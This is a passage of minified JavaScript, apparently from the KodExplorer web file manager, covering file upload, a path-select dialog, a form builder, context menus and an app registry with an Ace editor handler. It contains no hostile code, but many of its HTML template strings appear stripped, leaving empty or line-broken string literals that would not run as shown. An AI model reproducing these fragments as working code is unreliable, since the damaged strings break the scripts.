e.serverData._raw&&(a=e.serverData._raw)}"http"==t&&(a=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(a=LNG.not_support+"(support on chrome)"),o++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error").removeClass("upload-loading"),$("#"+e.id).find(".state").html(a).attr("title",a)}).on("uploadFinished",function(){$(".dialog-file-upload .aui-title").text(LNG.upload_success+": "+o+"/"+n),Title.reset(),n=0,o=0,uploader.reset(),d(!0)}).on("error",function(e){Tips.tips(e,!1)});var p;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
          '+LNG.upload_drag_tips+"
          ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}p&&window.clearTimeout(p)},dragLeave=function(e){stopPP(e),p&&window.clearTimeout(p),p=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.path.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e="FileSelectApi",t=function(){var t=$.parseUrl();if(t.params.fileSelect){var a=t.params.fileSelect,i=parseInt(t.params.fileSelectSingle),n=t.params.fileSelectAllow;kodReady.push(function(){Hook.bind("explorer.fileSelect.change",function(){d()}),d()});var o=function(e,t){var a={type:e,data:t};l.send(jsonEncode(a))},s=function(e){var t=jsonDecode(e);if(!t||!t.type)return console.log("parse error!"+e),void 0;var a=t.type,n=t.data;if("makeUrl"==a){$.isArray(n)||(n=[n]);var s=[],r=function(){Tips.close(LNG.loading),i&&(s=s[0]),o("makeUrl",s)};Tips.loading(LNG.loading);for(var l=0;n.length>l;l++){var c=n[l];core.fileLink(c,function(e){s.push({name:core.pathThis(c),url:e}),n.length==s.length&&r()})}}},r=window.parent;if(window.MessageInit)l.addTarget(r,"ParentPage");else{var l=new Messenger("ChildPage",e);l.addTarget(r,"ParentPage"),l.listen(s),window.MessageInit=!0}var c=function(e){var t=n.split("|"),a=core.pathExt(e);return""==n||""!=n&&-1!=$.inArray(a,t)?!0:!1},d=function(){var e=ui.fileLight.fileListSelect(),t=[];if(i){var n=$(e.get(0));if("all"==a&&0==e.length)t={file:[],folder:[]};else if("file"==a&&0==e.length)t=[];else if("folder"==a)t=[G.thisPath],n.hasClass("folder-box")&&(t=[ui.fileLight.path(n)]);else if("file"==a){if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t=[o])}}else if("all"==a)if(n.hasClass("folder-box")){var o=ui.fileLight.path(n);t=[{file:[],folder:[o]}]}else if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t={file:[o],folder:[]})}}else{var s=[],r=[];e.each(function(){if($(this).hasClass("file-box")){var e=ui.fileLight.path($(this));c(e)&&s.push(e)}else $(this).hasClass("folder-box")&&r.push(ui.fileLight.path($(this)))}),"folder"==a?t=r:"file"==a?t=s:"all"==a&&(t={file:s,folder:r})}u(t)},p=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},u=function(e){if("all"!=a){for(var t=[],i=0;e.length>i;i++)p(e[i])&&t.push(e[i]);e=t}0==e.length||"all"==a&&0==e.file.length&&0==e.folder.length?o("selectChange",0):o("selectChange",e)}}};return t(),{pathSelect:function(t,a){var i={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500},n={id:"pathSelectApi",ok:function(){if("function"==typeof a){var e=s.DOM.wrap.find(".path-select-input").data("result");if(!e)return Tips.tips(LNG.error,!1),void 0;if(e){var i=e;if(t.single&&"all"!=t.type&&(i=e[0]),t.makeUrl&&"file"==t.type)return l("makeUrl",i),!1;a(i)}else Tips.tips(LNG.error,!1)}},cancel:!0};t=$.extend(i,t),n=$.extend(n,t);var o=G.appHost+"explorer&type=iframe";o+="&fileSelect="+t.type,o+="&fileSelectSingle="+Number(t.single),o+="&fileSelectAllow="+t.allowExt,t.firstPath&&(o+="&path="+t.firstPath);var s=$.dialog.open(o,n),r='';"file"==t.type&&(r+=''+t.allowExt+""),$(r).insertBefore($(s.DOM.wrap).find(".aui-state-highlight"));var l=function(e,t){var a={type:e,data:t};messengerParent.send(jsonEncode(a))},c=function(e){var i=jsonDecode(e);if(!i||!i.type)return console.log("parse error!"+e),void 0;var n=i.type,o=i.data;if("makeUrl"==n)a(o),$.artDialog.list.pathSelectApi.close();else if("selectChange"==n){var s=$(".pathSelectApi"),r=s.find(".path-select-input"),l=s.find(".aui-state-highlight");o?l.removeClass("disable"):l.addClass("disable");var c="";if(t.single)c=core.pathThis(o[0]);else{var d=o;"all"==t.type&&(d=o.folder.concat(o.file)),$.each(d,function(e,t){c+=core.pathThis(t)+","}),c=rtrim(c,",")}r.data("result",o),r.val(c)}},d=$("[name=OpenpathSelectApi]").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(d,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",e),messengerParent.addTarget(d,"ParentPage"),messengerParent.listen(c),window.MessagerParentInit=!0)},randomImage:function(e){var t=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(t,function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",[],function(){var e={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(e){var t=G.staticPath+"others/sound/"+e;Hook.trigger("playSound",t)};return{playSoundFile:t,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){t(e[a])},50)}}}),define("app/common/core.formMake",[],function(e){var t,a,i,n={user:!1,group:!1,role:!1},o=function(){t=$("#"+a),t.find(".tab-group .tab-item").length>1?s():t.find(".tab-group").addClass("hidden"),t.find(".form-row.form-slider").exists()&&r(),t.find(".form-row.form-dateTime").exists()&&l(),t.find(".form-row.form-color").exists()&&c(),t.find(".form-row.form-fileSelect").exists()&&d(),t.find(".form-row select").exists()&&p(),t.find(".form-row.form-userSelect").exists()&&u(),t.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),t.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},s=function(){var e=t.find(".tab-content .tab-pane"),a=t.find(".tab-group .tab-item");e.each(function(){var i=$(this).attr("id"),n=t.find("."+i);n.length>0?n.appendTo($(this)):(e.filter("#"+i).remove(),a.find('[data-id="'+i+'"]').parent().remove())}),a.click(function(){a.removeClass("active"),$(this).addClass("active");var t=$(this).find("a").attr("data-id");e.removeClass("active"),e.filter("#"+t).addClass("active")})},r=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){t.find(".form-slider input").slider()})},l=function(){e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var e="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";t.find(".form-dateTime input").each(function(){var t=$(this).attr("data-format"),a=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],i=["H","h","i","s","A","a","b","g","G","O","P","c","U"],n=!1,o=!1;t||(t="Y/m/d");for(var s=0;a.length>s;s++)if(-1!==t.indexOf(a[s])){n=!0;break}for(var s=0;i.length>s;s++)if(-1!==t.indexOf(i[s])){o=!0;break}$(this).datetimepicker({format:t,datepicker:n,timepicker:o,lang:e}).blur(function(){$(this).trigger("change")})})}),t.find(".form-dateTime .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").focus()})},c=function(){e.async("lib/colorpicker/js/colorpicker",function(){t.find(".form-color input").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$($(this).data("colorpicker").el);a.val("#"+t).trigger("change"),a.parent().find(".btn i").css("background",a.val())}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),t.find(".form-color .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").click()})})},d=function(){t.find(".path-select").die("click").live("click",function(){var e=$(this);core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){var t=core.path2url(t);e.parent().find("input[type=text]").val(t).trigger("change")})})},p=function(){seajs.use("lib/select2/css/select2.min.css"),e.async("lib/select2/js/select2.full.min.js",function(){var a=function(t,a){t.on("select2:select",function(e){if(!t.attr("multiple"))return t.select2("close"),void 0;var a=$(e.params.data.element);a.detach(),t.append(a),t.trigger("change.select2")}).on("select2:unselect",function(e){stopPP(e.params.originalEvent)}).on("change",function(){setTimeout(function(){$(window).trigger("resize")},10)}),"group"==a&&t.on("select2:open",function(){e.async("lib/ztree/ztree",function(){h(t,n[a])})});var i=t.attr("data-value");i&&(t.attr("multiple")&&(i=i.split(",")),t.val(i).trigger("change"))};t.find("select").each(function(){var e=$(this),t=e.attr("data-server"),i=!1;"tags"==e.parents(".form-row").attr("data-type")&&(i=!0),t?f(t,function(n){e.select2({data:n,tags:i,tokenSeparators:[","," "],closeOnSelect:!1}),a(e,t)}):(e.select2({closeOnSelect:!1,tags:i,tokenSeparators:[","," "]}),a(e,t))})})},u=function(){var e=t.find(".form-userSelect .btn-group"),a="btn-active",i="hidden";e.find("button").unbind("click").bind("click",function(){var e=$(this).attr("data-type"),t=$(this).parents(".btn-group"),n=t.parent().find(".user-select"),o=t.parent().find(".user-select-"+e);n.filter(":visible"),t.attr("multiple")?"all"==e?(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i)):($(this).toggleClass(a),o.toggleClass(i),$(this).hasClass(a)?t.find("[data-type=all]").removeClass(a):t.find("."+a).exists()||t.find("[data-type=all]").addClass(a)):(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i))})},f=function(e,t){var a=function(e){var t=[];for(var a in e)t.push({id:a,text:e[a].name});return t};if(n[e]&&t)return t(a(n[e])),void 0;var i={user:G.appHost+"systemMember/get",group:G.appHost+"systemGroup/get",role:G.appHost+"systemRole/get"};return null==n[e]?(Hook.bind("loadDataServer-"+e,function(){t(a(n[e]))}),void 0):(n[e]=null,$.ajax({url:i[e],dataType:"json",error:function(){n[e]=!1,Tips.tips(LNG.system_error,0)},success:function(i){return i.code?(n[e]=i.data,t&&t(a(n[e])),Hook.trigger("loadDataServer-"+e),void 0):(Tips.tips(i),void 0)}}),void 0)},h=function(e,t){var a=function(e){var t=function(e){for(var a=0;e.length>a;a++)void 0!=e[a]?(e[a].pid=e[a].parentID,e[a].id=e[a].groupID,delete e[a].children,delete e[a].parentID,delete e[a].groupID,e[a].child&&(e[a].children=e[a].child,delete e[a].child,t(e[a].children))):delete e[a]},a=[],i=$.extend(!0,{},e);for(var n in i){var o=i[n],s=o.parentID;if(i[s])i[s].child||(i[s].child=[]),i[s].child.push(i[o.groupID]);else{var r=i[o.groupID];r&&a.push(r)}}return t(a),a},i={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).after('').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data-group-id",t.id)}},callback:{onClick:function(e,t,a){n(t,a)}}},n=function(t,a){var i=$("#"+a.tId+"_a");if(i.removeClass("curSelectedNode"),e.attr("multiple")){i.toggleClass("this");var n=e.val();$.isArray(n)||(n=[]),i.hasClass("this")?n.push(a.id):n=_.without(n,a.id),$.each(n,function(){var t=e.find("[value="+this+"]");t.detach(),e.append(t)}),e.val(n).trigger("change")}else $("#"+t+" [treenode_a].this").removeClass("this"),i.toggleClass("this"),e.val(a.id).trigger("change"),e.select2("close")},o=function(){var t=e.val(),a=$(".select2-container--open .group-list-tree").attr("id"),i=$.fn.zTree.getZTreeObj(a);$("#"+a+" [treenode_a]").removeClass("this"),"string"==typeof t&&(t=[t]),t&&i.getNodesByFilter(function(e){inArray(t,e.id+"")&&$("#"+e.tId+"_a").addClass("this")})},s=function(e){var t=$(".select2-container--open .group-list-content");t.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==e?t.find(".group-list-tree").addClass("hidden"):t.find(".select2-results__options").addClass("hidden")},r=function(t){var n=function(e){e.unbind("change input").bind("change input",function(){$(this).val().length>0?s("search"):s("tree")})};if(e.attr("multiple")?n(e.parent().find(".select2-search__field")):n($(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return o(),s("tree"),void 0;e.on("open",function(){o()}).on("select2:unselect",function(){o()});var r=UUID(),l='
          ';$(l).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var c=a(t);$.fn.zTree.init($("#"+r),i,c);var d=$.fn.zTree.getZTreeObj(r);d&&d.expandAll(!0),o(),s("tree")};r(t)},m=function(){var e={},a=[],n=function(e){for(var t={all:"0",user:"",group:"",role:""},a=e.split(";"),i=0;a.length>i;i++){var n=a[i].split(":");2==n.length&&(t[n[0]]=n[1])}return"0"!=t.all||t.user||t.group||t.role?!0:!1};if(t.find(".form-row").each(function(){var t=$(this),o=$(this).attr("data-type"),s=$(this).find("[name]");$(this).find(".setting-title .require").exists();var r=s.attr("name"),l=!1;switch(o){case"input":case"textarea":case"password":case"number":case"slider":case"color":case"dateTime":case"fileSelect":l=s.val();break;case"switch":l=s.prop("checked")+0+"";break;case"radio":l=s.filter(":checked").attr("value");break;case"checkbox":l=[],s.filter(":checked").each(function(){l.push($(this).val())}),l=l.join(",");break;case"select":case"selectMutil":case"tags":case"group":case"role":case"user":l=s.val(),$.isArray(l)&&(l=l.join(",")),null==l&&(l="");break;case"userSelect":var c={all:"0",user:"",group:"",role:""};t.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type"),a="1";"all"!=e&&(a=$(t).find(".user-select-"+e+" select").val(),$.isArray(a)&&(a=a.join(",")),null==a&&(a="")),c[e]=a}),l="all:"+c.all+";user:"+c.user+";group:"+c.group+";role:"+c.role;break;default:}$(this).removeClass("error"),i[r]&&i[r].require&&(l===!1||null===l||"string"==typeof l&&""===l||"userSelect"==i[r].type&&!n(l))?($(this).addClass("error"),a.push({name:r,value:l})):e[r]=l}),a.length>0){Tips.tips(LNG.PluginConfigNotNull,"warning");var o=t.find(".panel-body"),s=t.find(".form-row.error");if(!s.parents(".tab-pane").hasClass("active")){var r=s.parents(".tab-pane").attr("id");t.find('.tab-group [data-id="'+r+'"]').click()}s.inScreen()||o.animate({scrollTop:s.offset().top-o.offset().top+o.scrollTop()},100),s.find("[name]").first().focus(),s.find(".setting-content").flash(3,100)}return{checked:0==a.length,error:a,result:e}},v=function(t){e.async(t,function(e){e&&($.isFunction(e)?e():"object"==typeof e&&e.hasOwnProperty("main")&&$.isFunction(e.main)&&e.main())})},g=function(e){if("string"==typeof e)return v(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),$.isArray(t)&&$(t).each(function(e,t){v(t)})}i=e,a=UUID();var n=template.compile(tplFormMake),o=n({LNG:LNG,items:e,wrapID:a});return o},b=function(e,t,a){var i=g(e);if(!i)return!1;var n={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:680,height:500,content:i,okVal:LNG.button_save,ok:function(){var e=m();return e.checked?a(e.result):!1}};if($.isPlainObject(t))for(var s in t)n[s]=t[s];var r=$.dialog(n),l=r.DOM.wrap.find(".aui-title").html();return r.DOM.wrap.find(".modal-title").html(l),o(),r};return{makeHtml:g,bindEvent:o,getFormData:m,initDialog:b}}),define("app/common/rightMenuExtence",[],function(){$.contextMenu||($.contextMenu={}),$.contextMenu.show=function(e,t,a){e&&($.contextMenu.hidden(),$(e).contextMenu({x:t,y:a}))},$.contextMenu.menuShow=function(){var e=$(".context-menu-active"),t=e.data("contextMenu");if(e&&t){var a=t.$menu,i="disable"; -a.find(".disable").addClass(i),Hook.trigger("rightMenu.show",t.selector,e,a),Hook.trigger("rightMenu.show"+t.selector,e,a)}},$.contextMenu.isDisplay=function(){return 0==$(".context-menu-list:visible").length?!1:!0},$.contextMenu.hidden=function(){$(".context-menu-list").filter(":visible").filter(":not(.menu-not-auto-hidden)").trigger("contextmenu:hide")},$.contextMenu.menuAdd=function(e,t,a,i){var n=!1,o=$.contextMenu.menus;for(var s in o)if(o[s].selector==t){n=o[s];break}if(n&&e){var r=function(e){return e?-1!==e.indexOf("/")?'':'':""},l=function(e,t,a,i){var o=[],s={};if(a){for(var c in t)o.push({key:c,value:t[c]});for(var d=o.length-1;d>=0;d--)s[o[d].key]=o[d].value}else s=t;$.each(s,function(t,o){o.className=o.className||"";var s=t+" "+o.className;if("string"==typeof o)var c='
        • ';else{var d=o.name;o.accesskey&&(d+='('+o.accesskey+")");var c='
        • '+r(o.icon)+""+d+"
        • "}var p=$(c).clone();a?e.$menu.find(a).first().after(p):i&&e.$menu.find(i).first().before(p);var u=p.parent(".context-menu-list").data("contextMenu");p.data({contextMenu:u,contextMenuKey:t,contextMenuRoot:n});var f={$input:null,$label:null,accesskey:o.accesskey,className:o.className,icon:o.icon,name:o.name,_name:d,$node:p};if(u&&(u.items||(u.items={}),u.items[t]=f),"string"!=typeof o&&(e.commands||(e.commands={}),e.commands[t]=f,n.commands[t]=f,n.callbacks[t]=function(e,t){o.callback(e,t)},o.accesskey&&(n.accesskeys[o.accesskey]=f),o.items)){var c='
          ';$(c).appendTo(p),f.$menu=p.find("ul."+t),f.callback=null,f.appendTo=f.$node,f.type="sub",p.data("contextMenu",f).addClass("context-menu-submenu"),p.find("ul."+t).data({contextMenuRoot:n,contextMenu:f}),p.find("li."+t+"-first").data({contextMenuRoot:n,contextMenuKey:t+"-first",contextMenu:f}),f.items||(f.items={}),f.items[t+"-first"]={$input:null,$label:null,icon:"",name:"",_name:"",$node:p.find("li."+t+"-first")},l(f,o.items,"."+t+"-first")}})};l(n,e,a,i)}};var e=function(){return $('').appendTo("#rightMenu"),"function"!=typeof $.contextMenu?console.info("$.contextMenu is not function!"):($.contextMenu({zIndex:9999,selector:".dialog-menu",items:{"dialog-quit":{name:LNG.close,className:"dialog-quit",icon:"remove",accesskey:"q"},"dialog-max":{name:LNG.dialog_max,className:"dialog-max",icon:"resize-full",accesskey:"a"},"dialog-min":{name:LNG.dialog_min,className:"dialog-min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},"open-window":{name:LNG.open_ie,className:"open-window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"dialog-quit":i.close();break;case"dialog-min":i._clickMin(!1);break;case"dialog-max":i._clickMax();break;case"refresh":i.refresh();break;case"open-window":i.openWindow();break;case"qrcode":core.qrcode(i.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui-title img,.aui-title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),$.contextMenu.hidden()}),void 0)};Hook.bind("rightMenu.show.dialog-menu",function(e,t){var a=e.attr("id"),i=$.dialog.list[a],n="hidden",o=".open-window,.refresh,.qrcode,.context-menu-separator";i.hasFrame()?t.find(o).removeClass(n):t.find(o).addClass(n);var s=".dialog-min,.dialog-max";$("."+a).hasClass("dialog-can-resize")?t.find(s).removeClass(n):t.find(s).addClass(n)}),e()}),define("app/app/appBase",[],function(){var e={},t={},a={},i=!1,n=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),e[a.name]=a,a.ext||(a.ext="");var i=a.ext.split(",");e[a.name].extArr=i,a.sort=a.sort!==void 0?parseInt(a.sort):0;for(var n=0;i.length>n;n++){var o=trim(i[n]);e[a.name].extArr[n]=o,t[o]||(t[o]=[]);for(var s=!1,r=0;t[o].length>r;r++)if(t[o][r].name==a.name){s=!0;break}s||(t[o].push({name:a.name,sort:a.sort}),t[o].length>1&&(t[o]=_.sortBy(t[o],"sort").reverse()))}Hook.trigger("kodApp.add.finished")},o=function(){return t},s=function(i){if(!i||!e[i])return!1;delete e[i];for(var n in a)if(a[n]==i){delete a[n];break}for(var n in t){for(var o=t[n],s=[],r=0;o.length>r;r++)o[r].name!=i&&s.push(o[r]);0==s.length?delete t[n]:t[n]=s}},r=function(i){if(i===void 0){var n=[];for(var o in e)e[o].hidden||n.push(e[o]);return n}var s=a[i],n=[];if(!s&&!t[i])return!1;if(s&&(e[s]?n.push(e[s]):delete a[i]),!t[i])return n;for(var r=0;t[i].length>r;r++){var l=t[i][r].name;e[l]&&l!=s&&n.push(e[l])}return n},l=function(e){i=e},c=function(){return i},d=function(t,a,i){a&&"file"!=a||(a=core.pathExt(t)),i=i?i:"";var n={path:t,ext:a,appName:i};if(!Hook.trigger("kodApp.open.before",n)){if(t=n.path,a=n.ext,i=n.appName)var o=e[i];else{var s=r(a);if(!s||0==s.length)return kodApp.openUnknow(t,""),void 0;var o=s[0]}if(!o)return Tips.tips("["+i+"] not exists",!1);try{o.callback(t,a),Hook.trigger("kodApp.open.after",t,a,o)}catch(l){kodApp.openUnknow(t,""),console.error("kodApp.open error:",l)}}},p=function(t){var a=r(t),i=r("");""==t&&(a=!1),a?a.push({name:""}):a=[],a=a.concat(i);for(var n={},o=0;a.length>o;o++){var s=a[o];""==s.name||s.hidden?n["step-line"]="-------":n[s.name]={app:s.name,name:s.title,className:s.className,icon:s.icon,callback:function(t){var a=e[t];if(a&&a.callback){if($(".context-menu-active"),$(".context-menu-active").hasClass("menu-tree-file"))var i=ui.tree.makeParam();else var i=ui.path.makeParam();a.callback(i.path,i.type)}}}}return n},u=function(e,t){f(e,t),G.userConfig.kodAppDefault=htmlEncode(jsonEncode(a)),G.shareInfo||$.get(G.appHost+"setting/set&k=kodAppDefault&v="+jsonEncode(a))},f=function(t,i){if("string"==typeof t)a[t]=i;else if($.isArray(t))for(var n=0;t.length>n;n++)a[t[n]]=i;else if(e[i]&&$.isArray(e[i].extArr))for(var o=e[i].extArr,n=0;o.length>n;n++)a[o[n]]=i},h=function(){G.userConfig.kodAppDefault="[]",a={}},m=function(t,a){var t=e[t];return t?a?inArray(t.extArr,a):t.ext:!1},v=function(a,i,n){var a=e[a];if(!a)return!1;var o="undefined"==n?0:parseInt(n);0==o&&a.sort!==void 0&&(o=parseInt(a.sort)),"string"==$.type(i)&&(i=i.split(","));for(var s=0;i.length>s;s++){var r=i[s];if(r){inArray(a.extArr,r)||a.extArr.push(r),t[r]||(t[r]=[]);for(var l=!1,c=0;t[r].length>c;c++)t[r][c].name!=a.name||(t[r][c].sort=o,l=!0);l||t[r].push({name:a.name,sort:o})}}},g=function(){if(G.userConfig&&G.userConfig.kodAppDefault)try{var e=G.userConfig.kodAppDefault;e=jsonDecode(htmlDecode(e)),$.isPlainObject(e)&&(a=e)}catch(t){}Hook.bind("rightMenu.show.menu-file,rightMenu.show.menu-tree-file",function(e,t){if(e.hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";if(kodApp.getApp(i)){var o=kodApp.getAppMenu(i);t.find("li.open-with.context-menu-submenu").removeClass(n),t.find("ul.context-menu-list.open-with .context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(o,".menu-file",".open-with-first"),$.contextMenu.menuAdd(o,".menu-tree-file",".open-with-first")}else t.find("li.open-with.context-menu-submenu").addClass(n)}),Hook.trigger("kodApp.ready")};return g(),{debug:function(){return{appList:e,openDefault:t,openUser:a}},add:n,remove:s,appSupportCheck:m,appSupportSet:v,getApp:r,getAppBind:o,getAppMenu:p,setLastOpenTarget:l,getLastOpenTarget:c,setOpenUser:u,setOpenUserLocal:f,clearOpenUser:h,open:d}}),define("app/app/editor",[],function(){kodApp.add({name:"aceEditor",title:LNG["Plugin.default.aceEditor"],sort:0,ext:"txt,textile,oexe,inc,csv,log,asc,tsv,lnk,url,webloc,meta,localized,xib,xsd,storyboard,plist,csproj,pch,pbxproj,local,xcscheme,manifest,vbproj,strings,jshintrc,sublime-project,readme,changes,changelog,version,license,changelog,abap,abc,as,asp,aspx,ada,adb,htaccess,htgroups,htgroups,htpasswd,asciidoc,adoc,asm,a,ahk,bat,cmd,cpp,c,cc,cxx,h,hh,hpp,ino,c9search_results,cirru,cr,clj,cljs,cbl,cob,coffee,cf,cson,cakefile,cfm,cs,css,curly,d,di,dart,diff,patch,dockerfile,dot,dummy,dummy,e,ge,ejs,ex,exs,elm,erl,hrl,frt,fs,ldr,ftl,gcode,feature,.gitignore,glsl,frag,vert,gbs,go,groovy,haml,hbs,handlebars,tpl,mustache,hs,hx,html,hta,htm,xhtml,eex,html.eex,erb,rhtml,html.erb,ini,inf,conf,cfg,prefs,io,jack,jade,java,ji,jl,jq,js,jsm,json,jsp,jsx,latex,ltx,bib,lean,hlean,less,liquid,lisp,ls,logic,lql,lsl,lua,lp,lucene,Makefile,makemakefile,gnumakefile,makefile,ocamlmakefile,make,md,markdown,mask,matlab,mz,mel,mc,mush,mysql,nc,nix,nsi,nsh,m,mm,ml,mli,pas,p,pl,pm,pgsql,php,phtml,shtml,php3,php4,php5,phps,phpt,aw,ctp,module,ps1,praat,praatscript,psc,proc,plg,prolog,properties,proto,py,r,cshtml,rd,rhtml,rst,rb,ru,gemspec,rake,guardfile,rakefile,gemfile,rs,sass,scad,scala,scm,sm,rkt,oak,scheme,scss,sh,bash,bashrc,sjs,smarty,tpl,snippets,soy,space,sql,sqlserver,styl,stylus,svg,swift,tcl,tex,toml,twig,swig,ts,typescript,str,vala,vbs,vb,vm,v,vh,sv,svh,vhd,vhdl,wlk,wpgm,wtest,xml,rdf,rss,wsdl,xslt,atom,mathml,mml,xul,xbl,xaml,xq,yaml,yml,vcproj,vcxproj,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx",icon:G.staticPath+"images/file_icon/icon_app/ace.png",callback:function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(core.isApp("editor"))return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var a=t.$.dialog.list.openEditor,i=0;a&&"hidden"==$(a.DOM.wrap).css("visibility")&&(i=200,a.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},i)}else{var n=G.appHost+"editor/edit#filename="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}}});var e=ShareData.frameTop();e.Config&&"editor"==e.Config.pageApp&&kodApp.setOpenUserLocal(!1,"aceEditor")}),define("app/app/openWith",[],function(){kodApp.add({name:"appOpenSetting",title:LNG["Explorer.UI.appSetDefault"],ext:"",icon:G.staticPath+"images/file_icon/icon_others/setting.png",callback:function(e,t){var a="
          ",i=kodApp.getApp(t),n=!1;_.isArray(i)&&(n=i[0].name);var o=template.compile(a),s=o({LNG:LNG,apps:i,defaultApp:n,appAll:kodApp.getApp()}),r=$.dialog({id:"dialog-app-select",className:"menu-empty",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG["Explorer.UI.selectAppDesc"],width:480,height:360,padding:"20px",content:s,ok:function(){return l()}}),l=function(){var a=$("#app-default-checkbox").prop("checked"),i=$(".app-list.active .app-item.select").attr("data-app");return i?(r.close(),kodApp.open(e,t,i),a&&kodApp.setOpenUser(t,i),!0):(Tips.tips(LNG["Explorer.UI.selectAppWarning"],"warning"),!1)};$(".tab-group .tab-item").die("click").live("click",function(){var e=$(this).find("[aria-controls]").attr("aria-controls");"app-list-support"==e?$("#app-default-checkbox").prop("checked",!0):$("#app-default-checkbox").prop("checked",!1)}),$(".app-item").die("click").live("click",function(){$(this).parent().find(".select").removeClass("select"),$(this).addClass("select")}).die("dblclick").live("dblclick",function(){l()})}})}),define("app/app/html",[],function(){var e=function(e){return void 